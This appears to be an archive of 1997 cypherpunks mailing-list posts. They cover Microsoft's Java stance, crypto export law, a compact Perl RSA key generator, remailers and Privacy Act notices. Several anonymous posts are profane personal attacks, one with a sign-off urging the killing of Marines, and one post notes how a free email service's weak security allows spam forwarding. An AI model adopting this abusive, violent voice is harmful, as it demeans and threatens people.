     Maritz: No. We don't want to put further bloat on top of the system.
     We think that basically there isn't a lot of end-user value in them.
     And Sun's trying to establish them as basically their platform. It's
     a competing operating system.

     CW: Do you feel your Application Foundation Class Libraries (AFC)
     are superior to their JFCs?

     Maritz: No. AFCs ... make it easier to write apps. But our real
     strategy is J/Direct. So our answer to JFC is not AFC. It's J/Direct.

     CW: It sounds like Microsoft is resentful at Sun for taking a
     dictatorial role.

     Maritz: The reason we brought it up is Sun likes to blur these two
     things together. They like to blur the notion of Java the language
     and Java the class libraries. They'd like to package them all into
     that concept. We're just saying, 'Hey, there is a difference between
     the two. Let's be clear on that.' "

     CW: Do you think you're going to end up fragmenting the language even
     more?

     Maritz: Not the language. You're making the mistake. You're falling
     into their mind-set -- [ignoring] the difference between Java the
     language from Java the class libraries.

     CW: But in the end result, a network manager will have to make sure
     he has both sets of class libraries.

     Maritz: Let me ask you this question: The fact that you can call
     Windows [application programming interfaces] from C++, did that
     splinter C++? It did not. It's the same issue.
     
     CW: But if Java's promise is that it'll be a cross-platform
     language -- 
     
     Maritz: No. No. Sun's trying to make it that.

     CW: But say there's an electronic-commerce application that somebody
     wants to run cross-platform, and that's why they picked Java. And
     they use the JFCs to write it.

     Maritz: Good luck.

     CW: It's not going to run in Internet Explorer.

     Maritz: It may or may not. But the point is, that's Sun's problem.
     It's not our problem.

     CW: Does it end up being companies' problems, too? Are you saying
     they're foolish for buying into the theory that there can ever be
     cross-platform language?

     Maritz: No. We're saying it's no different from any other
     cross-platform [strategy]. This isn't the first one -- [there was]
     CBT, Appware, etc. We're just saying that, 'Hey, you should realize
     that when you're doing that, you're dependent upon Sun to get it to
     work.'

     CW: But if you bought into the JFCs, then you wouldn't be in this
     particular case. If you shipped JFCs, you'd help foster the idea of
     cross-platform.

     Maritz: And I don't want to ship another operating system on top of
     our operating system and burden every copy of Windows with all of
     that extra weight.

     CW: Do you agree that it makes developers have to make choices and
     it makes them have to do more work and it makes companies have to
     install both sets of classes? So in the end, it makes life difficult
     for everyone, doesn't it?

     Maritz: But we think that that's reality, because you either get this
     thing to become a heavyweight thing, in which case it's going to
     perform badly. Or you have to make it something very small. So we're
     not trying to be parties to perpetuating the myth.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 15 Aug 1997 14:40:36 +0800
To: geeman@best.com
Subject: Re: Microsoft and Java
In-Reply-To: <3.0.32.19691231160000.006e5ad0@best.com>
Message-ID: <199708150616.BAA09255@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.31a b31 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 15 Aug 1997 15:00:29 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: "Morphed" child porn case ruling text (FSC v. Reno)
In-Reply-To: <v03102804b0195dd64ec5@[10.0.2.15]>
Message-ID: <199708150636.BAA09415@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.31a b31 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 15 Aug 1997 17:24:15 +0800
To: Vipul Ved Prakash <vipul@pobox.com>
Subject: Re: Export rules
In-Reply-To: <Pine.SUN.3.96.970813161558.7599O-100000@beast.brainlink.com>
Message-ID: <3.0.2.32.19970815020530.02fe7290@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:35 AM 8/14/97 +0000, Vipul Ved Prakash wrote:
>> Already been done.  RSA in 4 lines of Perl, etc...  Heck there was even a
>> site out that that cut a UUENCODED copy of PGP into many bits and asked
>
>Is RSA in 3 lines of PERL an ITAR violation? Its more like "meta" code for bc
>todo RSA. adam?

Well, Raph Levien applied for an export permit for the RSA-in-4-lines-of-PERL
shirt several years ago, and the export thugs stalled on it and never
responded positively or negatively, in spite of their publicly stated
policies that they "will" respond in some small number of days.

Since then, they've changed the laws, and the PERL RSA has gotten shorter...

Of course, it's not a violation for Adam - he's not an American :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 15 Aug 1997 17:37:57 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: PGP in < 100 lines of perl
In-Reply-To: <wiLeBe21w165w@bwalk.dm.com>
Message-ID: <3.0.2.32.19970815021912.02ff4d54@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:30 AM 8/14/97 +0100, Adam Back wrote:
>I once started trying to implement full PGP functionality in as few
>lines of perl/dc as possible.
>
>I got pgp signature verification working.
>and PGP compatible IDEA PRZ style CFB mode in 9 lines.  
>and PGP key lookup in 7 lines.
>and MD5 in 8 lines.
>
>(Several of those were other peoples contributions)
>
>If you used /dev/random for random numbers plus a bit more glue, it
>would've worked.  Everything put compression and key generation.

If you want to skip PGP file format compatibility, 
and type the occasional key in in hex, it should be even shorter;
the ideal is to fit in about 60 lines for faxing on one page :-)

Steve Reid did an RSA key generation program that, in squashed form,
looks like this (there's an expanded version with comments.)
It depends on the user entering a lot of random junk, but
that's what your N monkeys and keyboards are for.

#!/usr/local/bin/perl
$k=768;$e=sprintf'%X',65537;print"Please enter a LOT of random junk.\n"
;$a=<STDIN>;print"Working. This may take a while.\n";for(1..(length($a)-
1)){$b[$_&31]^=unpack('C',substr($a,$_,1));$b[$_&31]=(($b[$_&31]<<5)|($b
[$_&31]>>3))&255;}for(0..255){$c[$_]=$_;}$a=$d=$f=0;for(0..255){$a=($a+
$c[$_]+$b[$a&31])&255;($c[$_],$c[$a])=($c[$a],$c[$_]);}open(F,'|dc');
select F;print"16dio[$e+]sa";for(1..50){for(1..$k/32){printf'%02X',&g;}
print"Sr";}for(1,2){printf'%02X',&g|128;for(2..$k/16){printf'%02X',&g;}
print"d$e%-2+d2%0=aSP";}print"[d2%SA2/d0<X+d*LA1=ZlP%0]sX[lR*]sZ[1+Q]sQ[
la1+sa0sc]sA[lAxlb1+sb]sB[ld1+sdLrddSssR1lP1-2/lXx+1+lP%99scd0=A2=Bclcla
+32>C]sC[LsSrld1-dsd0<D]sD[le1+se0ddsasbsdlCxlDxlP2 $e*+sPlc99=Elb32=ElP
2 $e*-led1>QQ]sE_1selExsq_1seLPlExsp[p=]Plpp[q=]Plqp[n=]P*p[e=]P$e p1-lp
1-lq1-**1+$e/[d=]Pp\n";close(F);sub g{$d=($d+1)&255;$f=($f+$c[$d])&255;(
$c[$d],$c[$f])=($c[$f],$c[$d]);return($c[($c[$d]+$c[$f])&255]);}


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 15 Aug 1997 18:22:00 +0800
To: cypherpunks@toad.com
Subject: Another Free Email Site with remailer possibilities
Message-ID: <3.0.2.32.19970815030611.02ff46e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Www.Iname.com is yet another free email site.  Its business model
is to offer free email forwarding from basic accounts
(paid for by advertising attached to the bottom of the mail),
with fancier-looking accounts and POP mailboxes for extra money.

They have very explicit anti-spam policies, but I'm not sure if
they really hunt down spammers, or if they just respond to complaints
by shutting off accounts and keeping the $0 or $15.
The policies would be no problem for a subscription-only exit remailer,
presumably no problem for a entry-only or middleman remailer,
and appear to ban non-subscription-based exit remailers.
They may or may not have a problem with the type of remailer that
sends a non-registered user a note saying "You've got anonymous mail;
send this cookie if you want to receive it"; my guess is they probably
drop free accounts after one complaint.

The free accounts look like username@iname.com, or a few other
lame domain names like cyberdude.com; one of them is 
"earthling.net", and I suspect the spammer who sent me mail
from one of those accounts was trying to pretend to be from 
earthlink.net ; I've probably blocked both of them by now.
You can only have one free account per destination address.

The advertising attached to the bottom of the mail messages
shouldn't be a problem for PGP-only remailers, assuming they
use some tolerable format and don't try to package your mail
in some MIME or HTML wrappers.  I can't tell, because they say
they won't start attaching ads until the extra-price-option
ad-remover software is available RSN.

The non-free accounts cost $15/year (first 60 days free)
for wider collection of domain names (including mail.com, 
which is usable, and some pure spam-bait names including 
seductive.com and credit4u.com.)

POP3 mailboxes cost $24/year.

Their security is really spotty - they use SSL for things
related to your bill, but not for passwords, at least for
free accounts....  It's easy to set up an account that
forwards mail to some third party; if you want to control
the thing, you have to point it to yourself first,
have it send you the password and confirmation,
then go log in to the member page and change your 
mail forwarding destination.  So it's unfortunately easy
to spam the innocent with an account at innocent.com
(they don't have guilty.com, though :-)

I've set up remailer1@disposable.com to point to
winsock@rigel.cyberpass.net  , which is a PGP-only remailer.
It'll expire in 60 days, unless someone wants to spend money,
but that's why it's remailer1@disposable.com....
It's got one of the usual passwords.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 15 Aug 1997 18:52:55 +0800
To: nospam-seesignature@ceddec.com
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <Pine.SUN.3.96.970813170421.7599R-100000@beast.brainlink.com>
Message-ID: <3.0.2.32.19970815034224.0305a2f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:01 PM 8/14/97 -0400, nospam-seesignature@ceddec.com wrote:
>On Wed, 13 Aug 1997, Ray Arachelian wrote:
>> Would it not be more secure if it picked a different IDEA session key for
>> each recipient?  Would be slower, but...
>
>If there were random padding, I don't think it would increase the
>security.  PGP uses one conventional key and multiple PK encryptions of
>it, with different padding (I think).  Then you only have one message to
>send out, i.e. pk1,pk2...pkn,convenc instead of pk1,cenc1 pk2,cenc2...

There's really no need - the threat is in the RSA part,
which is that you can solve for the secret message if you've got
one secret message encrypted with a bunch of known public keys.
By using different random padding on the IDEA session key for each
public-key used, you avoid that problem.  

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sat, 16 Aug 1997 08:29:38 +0800
To: cypherpunks@toad.com
Subject: ROTFLMAO / Re: Remailer hating Nazis
Message-ID: <199708160014.TAA10673@dfw-ix9.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous wrote:
> >Patrick Oonk <patrick@atro.pine.nl> wrote:
> >Flaming me through a remailer is the equivalent of shouting
> >'hey asshole!' and then running away. Children do it often.
> 
> Maybe you should stop being such an asshole to those children.

  Nothing personal, but I think this guy should consider seeking
professional help for his problems, instead of exposing his dirty
laundry on the cypherpunks list.
  Maybe he would come to the realization that the problem may not
lie with the children and the anonymous remailers.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sat, 16 Aug 1997 08:28:41 +0800
To: cypherpunks@toad.com
Subject: Reducing Crypto-Anonymous Crime by 50% / Re: Getting ecash without an MTB account
Message-ID: <199708160015.TAA10733@dfw-ix9.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




Mike wrote:
> Alice wants to receive e$1 from Bob. She creates a random number, blinds
> it, and gives the blinded number to Bob. He shows the number to the
> Mint, asking for a withdrawal of e$1 with a signature on this coin
> number. Bob gives the signed and still blinded coin to Alice. She
> unblinds it and spends it, end of story.

  It seems to me that many of the government's fascist goals for
stopping strong crypto and anonymous financial transactions could
be realized merely by whacking out Alice and Bob.
  An analysis of the cypherpunks list archives shows that most of
the undesirable activities being perpetrated in the crypto-anonymity
arena are the result of a conspiracy between Alice, Bob, and their
shady friends.
  Anybody know their last names?

A Concerned Cititzen






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 15 Aug 1997 07:47:32 +0800
To: cypherpunks@toad.com
Subject: Re: Hypothetical situation for networks
In-Reply-To: <Pine.SUN.3.96.970814113451.21579G-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.93.970815052050.172C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 14 Aug 1997, Ray Arachelian wrote:

> On Wed, 13 Aug 1997, Mike Jones wrote:
> 
> > OS doesn't really matter, as it is a hypothetical system, but we'll assume
> > either some form of unix/linux, or perhaps winNT or novell NetWare.
> 
> Can NFS under solaris or linux be tunneled through SSH?  That would seem
> feasable (that is if you can get SSH to tunnel a UDP...)

If thay are useing NFS over a lan I would hope thay are useing the TCP
verson.  While UDP is fine on a Lan you realy need the (reletive) 
reliblity that comes with TCP.

In fact if you want any reliblity you sould by your own line.  The
Internet is just two unrealible.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM/NbTaQK0ynCmdStAQG0mwQAw2d5J8pyAz93CVRjoN8c+FziznMSKmMW
CCHKmLhOSHlqosem4Uas9kXZhMuqKG2ZZ8GZ/aXZL1zUtF9mX+jDxmBx3ohUEaDD
u3OIJ84DSKEA3AQjsKp03FUo1j5/0unsbnPjks2iYRuO157FaFC5YYkx1gxqfbiI
hyTKm7gLDts=
=Nq6K
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ratprick Oink <patrick@atro.pine.nl>
Date: Fri, 15 Aug 1997 21:05:02 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis
Message-ID: <33F44F50.5791@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



Patrick Oonk stuttered and drooled:
> An Anonymous Coward wrote:
> > The remailer hating Nazi called Patrick Oonk wrote:
> > >At least I don't hide behind a remailer.

> > There's no cowardice to it, dumbass.  Our founding fathers and others wrote things anonymously.  I guess they're cowards?

> I wrote two remailer programs, I ran several remailers, and I am working
> on bugfixes for replay. 

  Did you shut down those "several remailers" out of...cowardice?

> Flaming me through a remailer is the equivalent of shouting
> 'hey asshole!' and then running away.

  Sorry to hear you have such a low opinion of those who use
anonymous remailers. Is your work on remailers an 'ego' thing,
or are you a cop?
 
> I also cannot reply to you privately, so all other members of
> this mailinglist have to suffer our private flamewar.

  You want to "hide behind" private email? Ashamed of your beliefs
and don't want them made public?
  When did this become a "private" flamewar, shit-for-brains? Are
you under the mistaken impression that your public post to this
list has drawn negative replies from only a single anonymous
source?
  My heart, also, bleeds purple piss for the poor, fragile young
cypherpunks who will suffer needlessly, perhaps being traumatized
for life, by exposure to negative energy and obscene words like
"dumbass." However, some of the older, more experienced members
of the cypherpunks list have long ago learned to make the best
of a bad situation, and amuse themselves by using their dick to
press the <Delete> key.
  So spam me, big boy. Spam me.

AnonymousCowardMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 15 Aug 1997 19:44:33 +0800
To: cypherpunks@toad.com
Subject: Electronic Surveillance Indices
Message-ID: <1.5.4.32.19970815111956.006fe0c8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



>From the Privacy Act Online via GPO Access [wais.access.gpo.gov]
[DOCID:jus_fbi-7]

DEPARTMENT OF JUSTICE

 JUSTICE/FBI 006

System name: Electronic Surveillance (Elsur) Indices.

System location: 
  Federal Bureau of Investigation, J. Edgar Hoover Bldg., 10th and 
  Pennvylvania Ave., NW, Washington, DC 20535. Those field offices which 
  have sought conducted electronic surveillances also maintain an index. 
  See appendix to System 022.
Categories of individuals covered by the system: 
  Individuals who have been the targets of direct electronic 
  surveillance coverage by FBI in a court order; those whose 
  communications have been monitored/intercepted by an FBI electronic 
  surveillance installation; those who won, lease, or license premises 
  subjected to electronic surveillance coverage sought by the FBI in a 
  court order.
Categories of records in the system: 
  The ELSUR Index is comprised of three types of 3 x 5 cards: 1. 
  Principal cards identify, by true name or best known name, all 
  interceptees (targets) identified in an application filed by the FBI 
  in support of an affidavit seeking a court order to conduct an 
  electronic surveillance; 2. Proprietary Interest cards identify 
  entities and/or individuals who own, lease, license or otherwise hold 
  a possessory interest in locations subjected to an electronic 
  surveillance sought by the FBI in a court order; and, 3. Overhear 
  cards identify, by true name or best known name, individuals and/or 
  entities who have been reasonably identified by a first name or 
  initial and a last name a being a party to a communication monitored/
  intercepted by the FBI.
Authority for maintenance of the system: 
  The ELSUR Index was initiated in October, 1966, at the recommendation 
  of the Department of Justice and relates to electronic surveillances 
  conducted/ sought by the FBI since 1/1/60. The authority for the 
  maintenance of these records is Title 5, Section 301, USC, which 
  grants the Attorney General the authority to issue rules and 
  regulations prescribing how Department of Justice information can be 
  employed. Title 18, U.S.C., Section 3504, also sets forth 
  recordkeeeping requirements.
Routine uses of records maintained in the system, including categories 
    of users and the purposes of such uses: 
  The Elsur Indices are utilized: (1) To respond to judicial inquiries 
  about possible electronic surveillance coverage of witnesses, 
  defendants, or attorneys involved in Federal court proceedings, and 
  (2) To enable the Government to certify whether a person regarding 
  whom court-order authority is being sought for electronic coverage has 
  ever been so covered in the past. The actual users of the indices are 
  always employees of the FBI.
  In addition, information may be released to the news media and the 
  public pursuant to 28 CFR 50.2 unless it is determined that release of 
  the specific information in the context of a particular case would 
  constitute an unwarranted invasion of personal privacy;
  Member of Congress or staff acting upon the member's behalf when the 
  member or staff requests the information on behalf of and at the 
  request of the individual who is the subject of the record; and, to 
  the National Archives and Records Administration and the General 
  Services Administration in records management inspections conducted 
  under the authority of 44 U.S.C. 2904 and 2908 to the extent that 
  legislation governing the records permits.
Policies and practices for storing, retrieving, accessing, retaining, 
    and disposing of records in the system: 
Storage: 
  The records are maintained manually on 3 x 5 cards.
Retrievability: 
  Names/facilities are indexed and filed alphabetically. Telephone 
  numbers and other such serial or identification numbers targeted are 
  indexed and filed numerically. Locations targeted are indexed by 
  address and filed by street name.
Safeguards: 
  The index is maintained in a restricted access room at all times. The 
  entrance is equipped with a special locking device and alarm system 
  for off-duty hours when the index is not in use.
Retention and disposal: 
  Until advised to the contrary by the Department, the courts or 
  Congress, these indices will be maintained indefinitely. The indices 
  have been declared permanent by NARA. (Job No. NC1-65-82--4, Part E. 
  2. t.)
System manager(s) and address: 
  Director, Federal Bureau of Investigation, Washington, DC 20535.
Notification procedure: 
  Same as the above.
Record access procedures: 
  Inquiry addressed to Director, FBI, Washington, DC 20535.
Contesting record procedures: 
  Same as the above.
Record source categories: 
  Category of Individual.
Systems exempted from certain provisions of the act: 
  The Attorney General has exempted this system from subsections (c) (3) 
  and (4), (d), (e) (1), (2) and (3), (e)(4) (G) and (H), (e) (5) and 
  (8), (f), (g) and (m) of the Privacy Act pursuant to 5 U.S.C. 552a(j). 
  Rules have been promulgated in accordance with the requirements of 5 
  U.S.C. 553 (b), (c) and (e) and have been published in the Federal 
  Register.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 15 Aug 1997 20:04:06 +0800
To: cypherpunks@toad.com
Subject: Export Transactions Espionage
Message-ID: <1.5.4.32.19970815113705.006fa714@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



>From the Privacy Act Online via GPO Access [wais.access.gpo.gov]
[DOCID:commer-31]

DEPARTMENT OF COMMERCE

 COMMERCE/ITA-1

System name: Individuals Identified in Export Transactions--
      COMMERCE/ITA-1.

System location: Office of Export Administration, ITA, U.S. Department
    of Commerce, 14th St. and Constitution Ave., NW, Washington, DC
    20230.
Categories of individuals covered by the system: a. Individuals involved
    in export transactions. Information is maintained on domestic and
    foreign companies and business officials, and includes U.S. citizens
    involved with or working for firms abroad. b. Individuals identified
    in an export administration compliance proceeding or investigation.
    Individuals alleged to have violated the Export Administration
    regulations; established violators of the regulations; certain other
    individuals identified by the FBI or other investigating agency or
    individual in the investigative process such as those involved in
    organized crime; and individuals who have received warning letters.
Categories of records in the system: Reports and cables from U.S.
    foreign service posts. Reports from F.B.I., other law enforcement or
    investigative agencies, investigators, or informants; investigative
    and intelligence data; documented violations; warning letters.
    Includes any information on alleged or proven violators of the
    Export Administration Act.
Authority for maintenance of the system: Export Administration Act of
    1979 (Pub. L. 96-72, 50 U.S.C. App. et seq.). 5 U.S.C. 301, 28
    U.S.C. 533-535, 44 U.S.C. 3101.
Routine uses of records maintained in the system, including categories
    of users and the purposes of such uses: See routine use paragraphs
    1-5 and 8-13 of the Prefatory Statement.
Policies and practices for storing, retrieving, accessing, retaining,
    and disposing of records in the system:
Storage: Paper records in file folders.
Retrievability: Information filed by case or subject file. All names are
    cross-referenced by name card file.
Safeguards: Records are located in lockable metal file cabinets or in
    metal file cabinets in secured rooms or secured premises with access
    limited to those whose official duties require access.
Retention and disposal: Retained for a reasonable period of time.
    Disposition is recorded.
System manager(s) and address: Director, Compliance Division, Office of
    Export Administration, ITA, U.S. Department of Commerce, Washington,
    DC 20230.
Notification procedure: Information may be obtained from: Privacy
    Officer, Office of Management and Systems, ITA, Room 3102, U.S.
    Department of Commerce, Washington, DC 20230. Requester should
    provide name, address, and case or subject, if known, pursuant to
    the inquiry provisions of the Department's rules which appear in 15
    CFR part 4b.
Record access procedures: Requests from individuals should be addressed
    to: Same address as stated in the notification section above.
Contesting record procedures: The Department's rules for access, for
    contesting contents, and appealing intial determinations by the
    individual concerned appear in 15 CFR part 4b. Use above address.
Record source categories:
  Individual exporters, those authorized by the individual exporters to
  furnish information, trade sources, investigative agencies,
  intelligence, investigative and other personnel of the Office of
  Export Administration, informants, CIA, FBI, Justice Department,
  Defense Department, Energy Department, and State Department.
Systems exempted from certain provisions of the act: Pursuant to 5
    U.S.C. 552a(j)(2), all information about an individual in the record
    which meets the criteria stated in 5 U.S.C. 552a(j)(2) are exempted
    from the notice, access and contest requirements of the agency
    regulations and from all parts of 5 U.S.C. 552a except subsections
    (b), (c)(1) and (2), (e)(4)(A) through (F), (e)(6), (7), (9), (10),
    and (11), and (i), and pursuant to 5 U.S.C. 552a(k)(1) and (k)(2) on
    condition that the 5 U.S.C. 552a(j)(2) exemption is held to be
    invalid, all investigatory material in the record which meets the
    criteria stated in 5 U.S.C. 552a(k)(1) and (k)(2) are exempted from
    the notice, access, and contest requirements (under 5 U.S.C.
    552a(c)(3), (d), (e)(1), (e)(4)(G), (H), and (I), and (f)) of the
    agency regulations because of the necessity to exempt this
    information and material in order to accomplish this law enforcement
    function of the agency, to prevent subjects of investigation from
    frustrating the investigatory process, to prevent the disclosure of
    investigative techniques, to fulfill commitments made to protect the
    confidentiality of sources, to maintain access to sources of
    information, and to avoid endangering these sources and law
    enforcement personnel. Section 12(c) of the Export Administration
    Act of 1979 also protects certain of this information and material
    related to export licenses from disclosure.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 15 Aug 1997 20:35:12 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
Message-ID: <gF/X39A/cKO4vveoM8ClwA==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 09:58 AM 8/15/97 +0200, you wrote:
>I wrote two remailer programs, I ran several remailers, and I am working
>on bugfixes for replay. I couldn't care less about your founding
>fathers who killed the native americans and raped their women.
>Killing virtually unarmed  people with guns is an act of cowardice.

According to you, remailer using people are cowards.  So quite frankly, why the hell are you helping remailers if you get so pissed at people using them?

Sounds like you don't have your priorities straight.

>Flaming me through a remailer is the equivalent of shouting 
>'hey asshole!' and then running away. Children do it often.

If that's what you think of the blessed gift of anonymity, then, quite frankly, FUCK YOU.  Theres's nothing childish about using remailers, and if you think otherwise, then stop making them!

>I also cannot reply to you privately, so all other members of
>this mailinglist have to suffer our private flamewar.

I think they might even join in the fun.

Have a nice day, remailer hating Nazi.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 15 Aug 1997 21:04:28 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
Message-ID: <akzPfW6911SUh6D7GhOErg==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 12:54 PM 8/15/97 +0200, you wrote:
>  Strange that this claim should come from a variety of sources at
>the same time the government is facing the embarassment of having to
>whitwash the actions of heavily armed, camouflaged Marines who felt
>so threatened by a goat-herder with a .22 rifle that they slaughtered
>him with their M-16's, despite the fact that the child was an American
>citizen, doing what he had every right to do, on American soil.

FWIW, those murdering bastards got off the hook, because the jury believed they were "good soldiers", and I thought "Goodness must now mean how many innocents you kill while waiting to shoot a stoned Mexican carrying a bag of pot walking across the border.

>  The drug cartels are having such little trouble getting drugs into
>the U.S. that cocaine and heroine are cheaper than a bottle of good
>Scotch, yet, according to the government, they have decided that it 
>is necessary to perform actions which will "force" the government
>to 'crack down' on border terrorism with increasing use of armed
>force. Right...

Hell, why not just declare martial law!?  If were going to use marines as police, what next?  The war on Goat-Herding Cartels!?!?!?

I myself have never heard of a bunch of Heavily armed mexicans running over the border with explosives, automatic weapons, and Molotov Cocktails burning down houses, shooting marines, or blowing up buildings.

>GiveMeAFuckingBreakMonger
>"There is something wrong when U.S. armed forces murder American
> schoolchildren on American soil, under an increasing number of
> unconstitutional laws."

KillThoseMurderingMarineBastardsMonger
"There's something wrong when we replay prohibition and kill innocents in the process."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nate Sammons <nate@infidels.org>
Date: Fri, 15 Aug 1997 21:04:53 +0800
To: cypherpunks@toad.com
Subject: PGP for palmtops?
Message-ID: <Pine.LNX.3.95.970815084615.13659A-100000@sulaco.proxicom.com>
MIME-Version: 1.0
Content-Type: text/plain




Does PGP exist for palmtops like the HP 320LX?  I would assume (possibly
foolishly) that the port would be easy, as they run Windows CE.

-nate






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 15 Aug 1997 23:08:05 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis
In-Reply-To: <199708151322.PAA18863@atro.pine.nl>
Message-ID: <7gDHBe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Patrick Oonk <patrick@atro.pine.nl> writes:

> I am pretty sure there is only one person as sad as you are.
> (Except me of course).

Go away.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Fri, 15 Aug 1997 16:11:37 +0800
To: anon@anon.efga.org (Anonymous)
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
In-Reply-To: <9E157oQnntYqhiv6vHV2+w==@JawJaCrakR>
Message-ID: <199708150758.JAA16675@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> 
> 
> The remailer hating Nazi called Patrick Oonk wrote:
> >At least I don't hide behind a remailer.
> 
> There's no cowardice to it, dumbass.  Our founding fathers and others wrote things anonymously.  I guess they're cowards?
> 
> If so, then burn in hell, Nazi scum-sucking weasel!

I wrote two remailer programs, I ran several remailers, and I am working
on bugfixes for replay. I couldn't care less about your founding
fathers who killed the native americans and raped their women.
Killing virtually unarmed  people with guns is an act of cowardice.

Flaming me through a remailer is the equivalent of shouting 
'hey asshole!' and then running away. Children do it often.

I also cannot reply to you privately, so all other members of
this mailinglist have to suffer our private flamewar.

	hugs and kisses,

	Patrick

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 16 Aug 1997 01:04:30 +0800
To: cypherpunks@cyberpass.net
Subject: Bringing Adam Back for Trial
In-Reply-To: <199708140535.FAA01661@fountainhead.net>
Message-ID: <v03102800b01a3a23e36f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:05 AM -0700 8/15/97, Bill Stewart wrote:
>At 05:35 AM 8/14/97 +0000, Vipul Ved Prakash wrote:
>>> Already been done.  RSA in 4 lines of Perl, etc...  Heck there was even a
>>> site out that that cut a UUENCODED copy of PGP into many bits and asked
>>
>>Is RSA in 3 lines of PERL an ITAR violation? Its more like "meta" code for bc
>>todo RSA. adam?
>
>Well, Raph Levien applied for an export permit for the RSA-in-4-lines-of-PERL
>shirt several years ago, and the export thugs stalled on it and never
